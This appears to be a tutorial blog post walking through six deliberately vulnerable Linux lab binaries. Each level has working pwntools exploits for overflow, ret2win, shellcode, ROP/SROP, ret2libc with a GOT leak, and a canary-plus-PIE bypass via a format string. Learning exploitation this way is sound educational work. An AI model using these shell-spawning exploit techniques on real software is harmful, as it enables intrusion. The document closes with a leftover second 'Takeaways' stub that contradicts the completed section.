Beating Linux Exploit Mitigations One at a Time
A progression of six small Linux binaries, each adding one protection: a plain overflow, ret2win, shellcode, ROP, ret2libc past ASLR, and a canary+PIE bypass. I built the ladder to learn each mitigation and how exploitation adapts to it.
I wanted to actually understand the mitigations that sit between a memory bug and a working exploit, not just read about them. So I built a ladder: six small C programs where each one turns on one more protection than the last. Level 0 has nothing; by level 5 every default a modern Linux binary ships with is on. Solving them in order forces you to learn each mitigation by working around it.
These are deliberately-planted teaching exercises, in the same spirit as ROP Emporium and pwn.college. The
win()functions and overflows are mine, on purpose. The point isn’t that I “found” anything here; it’s to show the technique for each mitigation on the smallest possible target. Real bug-finding is a separate project (fuzzing, which I’ll write up on its own).
All of it runs in a Docker container (Ubuntu 24.04) with gdb + GEF, pwntools, ROPgadget and ropper. The container runs with no network and the lab folder mounted, so the binaries can’t phone anywhere and I can edit exploits from my host.
The ladder
| Level | Protection added | Technique it forces |
|---|---|---|
| 0 | — | Overflow one variable into its neighbour |
| 1 | NX | ret2win: overwrite the saved return address |
| 2 | executable stack | Inject and run shellcode |
| 3 | static binary, NX | ROP chain to execve("/bin/sh") |
| 4 | ASLR | ret2libc with an info leak |
| 5 | canary + PIE + full RELRO | Leak the canary and PIE base, then redirect |
Each binary prints a VR{...} flag when you win, so there’s an unambiguous success condition.
Level 0: variables are neighbours
The gentlest possible bug. First, confirm what’s protecting it:
No stack canary and no PIE. NX is on, but level 0 doesn’t need to execute anything.
The program reads your input into a struct:
name is 32 bytes; read accepts 64. The flag prints only if is_admin == 0x1337c0de, and nothing ever sets it legitimately.
The bug is the mismatch between the 32-byte buffer and the 64-byte read. The extra bytes don’t disappear — they run past name into whatever sits next in memory, and in this struct that’s is_admin, declared immediately after. C lays struct members out in declaration order, so overflowing name writes straight into is_admin.
Before writing an exploit, I proved the layout. Feed exactly 32 bytes, then 36, and watch is_admin:
32 bytes of A leaves is_admin zero. 36 bytes makes it 0x41414141 — four As (0x41). The bytes at offset 32–35 are is_admin.
That confirms the offset without guessing: 32 bytes of filler, then the four bytes of is_admin. Those four need to equal 0x1337c0de, written low byte first because x86-64 is little-endian. The whole exploit:
1
2
3
4
5
6
from pwn import *
p = process('./level0')
payload = b'A' * 32 # fill name[32]
payload += p32(0x1337c0de) # land on is_admin, little-endian
p.send(payload)
print(p.recvall().decode())
You can do the same thing without pwntools, which makes the little-endian ordering concrete — 0x1337c0de becomes the bytes de c0 37 13:
1
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xde\xc0\x37\x13' | ./level0
Either way:
Welcome, admin. and the flag. The overflow wrote the magic value into is_admin.
The lesson: an overflow doesn’t just corrupt “the buffer.” It writes forward into adjacent memory, and what’s adjacent is decided by the compiler’s layout. Level 0 has no mitigation to stop it. Every level after this adds something that does.
Level 1: ret2win (NX)
Level 0 overwrote a variable. Level 1 is the real beginning of exploitation: you overwrite the saved return address and take control of what executes next.
The setup: main only ever calls vuln(). There’s a win() function compiled into the binary that prints the flag, but nothing calls it. The job is to make vuln() return into win().
Here’s the mechanism. When a function is called, the address to return to is pushed onto the stack. vuln has a 64-byte buffer and reads 200 bytes into it — so the overflow runs past the buffer, past the saved frame pointer, and over that saved return address. When vuln reaches its ret, the CPU pops whatever is now in that slot into the instruction pointer and jumps there. Put win’s address in the slot and you redirect execution.
NX (the new mitigation here) marks the stack non-executable, so you can’t just run code you typed in. It doesn’t stop you from redirecting to code that’s already in the program, which is exactly what ret2win does.
Finding the target
No PIE, so win() is at a fixed address every run:
win() at 0x401402. (In the exploit I let pwntools resolve it with ELF.sym.win, but it’s the same address.)
Finding the offset
How many bytes of filler land exactly on the saved return address? Don’t guess — measure it with a cyclic pattern, the technique you’ll reuse on every level. Generate a non-repeating 200-byte pattern, break on vuln’s ret, and read the top of the stack — the 8 bytes about to be popped into RIP:
Breakpoint on the ret; x/gx $rsp shows 0x6161617461616173 — part of the cyclic pattern sitting in the return-address slot.
Breaking on the ret (instead of letting it crash) matters: the overflow also clobbers the saved frame pointer, so if you let it run, it faults inside the epilogue before RIP is ever your value, which is confusing to read. At the ret, the slot is right there at $rsp. Feed that value back to get the offset:
pwn cyclic -l 0x6161617461616173 → 72. That’s 64 bytes of buffer plus the 8-byte saved frame pointer.
The exploit, and a stack-alignment trap
72 bytes of filler, then win’s address — that’s the whole idea. But a naive version crashes, and why is worth understanding:
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
e = context.binary = ELF('./level1', checksec=False)
offset = 72
ret = ROP(e).find_gadget(['ret'])[0] # one-instruction alignment fixup
payload = b'A' * offset
payload += p64(ret)
payload += p64(e.sym.win)
p = process('./level1')
p.recvuntil(b'something: ')
p.send(payload)
print(p.recvall(timeout=2).decode())
Run it without that ret gadget and you get this:
Top: returning straight into win() prints its banner, then crashes (signal -11, no flag). Bottom: one ret gadget first, and the flag prints.
The x86-64 ABI requires the stack pointer to be 16-byte aligned at a call. The overflow left it off by 8, and win() eventually calls into libc, which uses a movaps instruction that faults on a misaligned address. So win() starts — you see its banner — and then dies partway through. Inserting one ret gadget before win pops 8 bytes and flips the alignment back. This isn’t a toy detail: it bites real ret2libc and system("/bin/sh") exploits constantly.
The lesson: control of the saved return address is control of execution — the single most important primitive in binary exploitation. NX only means you have to aim at existing code, not code you supply. And a working exploit has to respect the ABI the CPU does, right down to stack alignment.
Level 2: shellcode (executable stack)
Levels 0 and 1 reused memory and code that were already there. Level 2 is the opposite move: you supply your own machine code and run it. This is the attack everything afterward is designed to stop.
checksec shows the stack is executable and there’s no canary and no PIE. The program hands you a gift on line 7 — it prints the buffer’s address — and then reads 400 bytes into a 256-byte buffer. The banner even says ASLR on, but you get a leak: the stack address is randomized each run, but since the program tells you where the buffer is, you don’t have to care.
The plan:
- Put shellcode — machine instructions that call
execve("/bin/sh", 0, 0)— at the start of the buffer. - Overflow to the saved return address (same primitive as level 1).
- Set the return address to the buffer’s address, so
vulnreturns straight into your shellcode.
Offset
Same cyclic method. Break on vuln’s ret, read the slot at $rsp:
The saved return-address slot holds 0x6361617263616171.
Offset 264 — the 256-byte buffer plus the 8-byte saved frame pointer.
The payload
1
[ shellcode ][ NOP padding ... up to 264 ][ address of buf ]
The shellcode goes at the front of the buffer; you pad out to 264 with NOPs (\x90, a do-nothing instruction), then overwrite the return address with the buffer’s address. On return, execution lands on your shellcode and runs into the shell. The run of NOPs is a NOP sled — if your landing address were slightly off, you’d still slide down into the shellcode. Here the leak gives the exact address, so it’s belt-and-suspenders.
pwntools generates the shellcode for you (asm(shellcraft.sh())), and you parse the leaked address off the first line:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
e = context.binary = ELF('./level2', checksec=False)
offset = 264
p = process('./level2')
p.recvuntil(b'lives at ')
buf = int(p.recvline().strip(), 16) # the leaked address
shellcode = asm(shellcraft.sh()) # execve("/bin/sh", 0, 0)
payload = shellcode.ljust(offset, b'\x90')
payload += p64(buf)
p.recvuntil(b'input: ')
p.send(payload)
p.interactive() # drop into the shell
And you get a shell:
whoami and cat flags/level2.txt running inside a /bin/sh that the exploit started. Code I wrote, executing on the stack.
The lesson: if attacker-controlled data can be executed, the game is over — you just write a shell and jump to it. This is precisely why NX (non-executable stack/heap) exists, and why it’s standard today. Turn NX back on and this whole technique dies: the bytes are still there, but the CPU refuses to run them. That’s the wall level 3 puts up, and ROP is how you get over it.
Level 3: ROP (NX, static)
This is the step that matters most. NX is on now, so level 2’s trick is dead — you can still write bytes onto the stack, but the CPU refuses to execute them. The answer is Return-Oriented Programming: instead of supplying code, you reuse code that’s already in the binary.
checksecreports “Canary found” here, but that’s a false positive. The binary is statically linked, so the static libc drags in__stack_chk_failand checksec’s heuristic assumes a canary.vuln()itself was built without one — which the working overflow proves. A good reminder that checksec is a heuristic, especially on static binaries.
How ROP works
Scattered through any binary are short instruction sequences ending in ret — a gadget, like pop rdi ; ret. Because ret pops the next address off the stack and jumps to it, you can lay a sequence of gadget addresses on the stack and each runs, then returns into the next. The stack becomes your instruction list; you build a program out of fragments of the existing one.
The goal is to make the execve("/bin/sh", NULL, NULL) syscall by hand. On x86-64 that means setting rax=59, rdi=pointer to "/bin/sh", rsi=0, rdx=0, then executing syscall.
Two things that make it winnable
Static linking = a huge gadget supply. All of libc is baked into the binary, so almost any gadget you want is present. Searching with ROPgadget shows some clean ones exist (pop rsi ; ret, pop rax ; ret) while others (pop rdi, pop rdx, syscall) only appear as variants — which is realistic, and why it’s worth letting a tool assemble the final chain while you understand the pieces.
The name global is the place for /bin/sh. rdi has to point at the string "/bin/sh" somewhere in memory. Look at main: it reads your “Name” into the global name before calling vuln. Globals have fixed addresses (no PIE), so you type /bin/sh\0 as your name and it lands at a known, stable address (0x4acb20) you can point rdi at.
The exploit
Offset to the return address is 72 (64-byte buffer + saved frame pointer). The one new idea is building the chain, which pwntools does from the goal:
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
e = context.binary = ELF('./level3', checksec=False)
p = process('./level3')
p.sendafter(b'Name: ', b'/bin/sh\x00') # stash the string in `name`
rop = ROP(e)
rop.execve(e.sym.name, 0, 0) # find gadgets, build the chain
log.info('\n' + rop.dump())
p.sendafter(b'story: ', b'A'*72 + rop.chain())
p.interactive()
What pwntools actually built is more interesting than a plain register-loading chain:
Because clean pop rsi/pop rdx gadgets were scarce, pwntools used SROP (Sigreturn-Oriented Programming): it forges a signal frame on the stack and uses rt_sigreturn to set every register at once, then calls execve. Each line is 8 bytes of the chain sitting on the stack.
And it drops a shell:
A shell from a chain of existing gadgets — no injected code anywhere.
The lesson: NX stops you from running new code, not from reusing existing code. ROP turns the stack into a program assembled from gadgets, and it’s the foundation of modern exploitation — once you can control the stack and the binary is big enough, you can compute arbitrary things without ever executing a byte you supplied. SROP showing up here for free is a bonus: when the gadgets you want are missing, a forged signal frame sets every register at once.
Level 4: ret2libc past ASLR
This is the first level that mirrors real-world exploitation, because the free leak is gone. NX is on, ASLR is on, and the binary is dynamically linked — so libc loads at a different random base every run. To call system("/bin/sh") you first have to find out where libc is.
The answer is a two-stage exploit: leak, then exploit.
Stage 1: leak libc
The GOT (Global Offset Table) holds the runtime addresses of the libc functions a program calls. puts@got contains the actual, randomized address of puts. So the first ROP chain calls puts(puts@got) — printing libc’s real location back to you — and then returns into main to hand you a second overflow.
Because there’s no PIE, puts@plt, puts@got, and main are at fixed addresses. The binary also provides a pop rdi ; ret gadget (the source admits modern compilers rarely leave one lying around, so it’s handed to you — on a real target you’d hunt for your own).
Once you have the leak, rebase the whole library:
1
libc_base = leaked_puts - offset_of_puts_within_libc
ASLR slides libc by one random amount; its internal layout never changes, so one leaked address unlocks every symbol: system, the string "/bin/sh", everything.
Stage 2: ret2libc
Second overflow, now that you know where libc is: pop rdi = address of "/bin/sh" (a string that already exists inside libc), then jump to system. Shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
e = context.binary = ELF('./level4', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
offset = 72
rop = ROP(e)
rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0] # stack alignment, as in level 1
p = process('./level4')
# Stage 1: puts(puts@got) leaks libc, then return to main for another go
p.recvuntil(b'please:\n')
p.send(flat(b'A'*offset, rdi, e.got.puts, e.plt.puts, e.sym.main))
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym.puts
# Stage 2: system("/bin/sh")
p.recvuntil(b'please:\n')
binsh = next(libc.search(b'/bin/sh'))
p.send(flat(b'A'*offset, ret, rdi, binsh, libc.sym.system))
p.interactive()
Stage 1 prints the leaked puts address and the computed libc base; stage 2 drops a shell and reads the flag. The libc base is different every run — the leak is what makes it usable.
The lesson: ASLR doesn’t make exploitation impossible, it makes it two-step. You can’t hardcode an address, so you first spend a bug on an information leak to discover the layout, then use that knowledge to aim your real payload. Almost every modern exploit is shaped this way — a leak primitive feeding an execution primitive. The GOT is a convenient leak source because it’s a table of exactly the libc addresses you want, and with no PIE it sits at a fixed, readable place.
Level 5: everything on
The finale. Every default mitigation is on at once:
Full RELRO, stack canary, NX, PIE — and the binary is even CET-marked (SHSTK/IBT). More on that at the end.
A plain overflow is dead twice over: the canary sits between the buffer and the return address and aborts the program if you overwrite it, and PIE randomizes the binary’s base so you don’t even know win()’s address. The way through is to chain two bugs: first a leak to steal both secrets, then the overflow.
Bug 1: a format-string leak
Line 17 is printf(buf) — your input printed as a format string. That means %N$p prints the Nth value off the stack, and you can walk the stack reading out whatever’s there:
Probing slots. %17$p ends in 00 and is high-entropy — the stack canary (null-terminated so a string read can’t leak it). %19$p is a 0x5…/0x6… code pointer — vuln’s saved return address into main.
Two secrets in one leak:
- The canary (
%17$p), so I can write it straight back and the check passes. - A PIE code address (
%19$p). Since it’svuln’s return intomainat static offset0x15b3, the base isleaked − 0x15b3, and from therewin = base + 0x1475.
Bug 2: the overflow, canary intact
The second read overflows the same buffer. Now the layout is deliberate:
1
[ 72 filler ][ real canary ][ saved rbp ][ ret gadget ][ win ]
The canary slot holds the leaked canary, so __stack_chk_fail never fires; the return address points into win() (one ret gadget first, for the same stack alignment reason as level 1).
1
2
3
4
5
6
7
8
9
# Bug 1: leak canary + PIE base
p.sendline(b'%17$p|%19$p')
p.recvuntil(b'Hello, ')
canary, ret = (int(x, 16) for x in p.recvline().split(b'|'))
e.address = ret - 0x15b3
# Bug 2: overflow with the canary put back
ret_gadget = ROP(e).find_gadget(['ret'])[0]
p.send(flat(b'A'*72, canary, b'B'*8, ret_gadget, e.sym.win))
Leaked canary, computed PIE base, resolved win, and the flag — every mitigation defeated in a single run.
About that CET marking
checksec showed SHSTK (shadow stack) and IBT enabled. A hardware shadow stack keeps a protected copy of return addresses and would detect the ret redirection this whole series relies on. It’s a binary marking here; the lab environment doesn’t enforce shadow stacks, so ret-based techniques still work. On hardware with CET actually on, levels 1 and 3–5 would need a different approach (data-only attacks, or targeting code that isn’t reached by a tampered return). Worth knowing the mitigation exists and what it would change — a good thing to be honest about rather than pretend the techniques are universal.
The lesson: no single mitigation is a wall. The canary stops a naive overflow; PIE hides your targets. But one extra bug — an information leak — hands you both secrets, and then the overflow works exactly like level 1. This is what real exploitation looks like: you rarely get a clean overflow into a known address. You chain a leak primitive into a write primitive, which is the shape of almost every level here once the mitigations pile up.
Takeaways
Six binaries, six mitigations, one idea built up in layers:
| Level | Mitigation | What it forced you to learn |
|---|---|---|
| 0 | — | memory layout; an overflow writes into neighbours |
| 1 | NX | control of the saved return address = control of execution |
| 2 | (exec stack) | injecting and running your own shellcode |
| 3 | NX, static | ROP — reusing existing code when you can’t inject any |
| 4 | ASLR | leak-then-exploit; an info leak defeats randomization |
| 5 | canary + PIE | chaining two bugs; a leak feeds the write |
A few things stuck with me:
- Control of the instruction pointer is the whole game. Everything from level 1 on is a different way to get the program to jump where you want.
- Mitigations don’t stop exploitation, they raise the bar. NX turned shellcode into ROP; ASLR turned a one-shot into a two-step; a canary added a secret you have to steal first. Each one made the exploit longer, not impossible.
- Modern exploitation is leak + write. By level 4 the real work is finding an information leak. The memory-corruption bug is only half of it.
- Tools don’t replace understanding. pwntools built the ROP chains, but you still have to know what a gadget is, why alignment matters, and which stack slot holds the canary — which is exactly what an interviewer asks about.
These are deliberately small, planted targets. The point was never to “find” anything, but to learn each technique on the cleanest possible example. The bug-finding side — fuzzing real software — is a separate writeup.
Takeaways
To be written once the ladder is complete.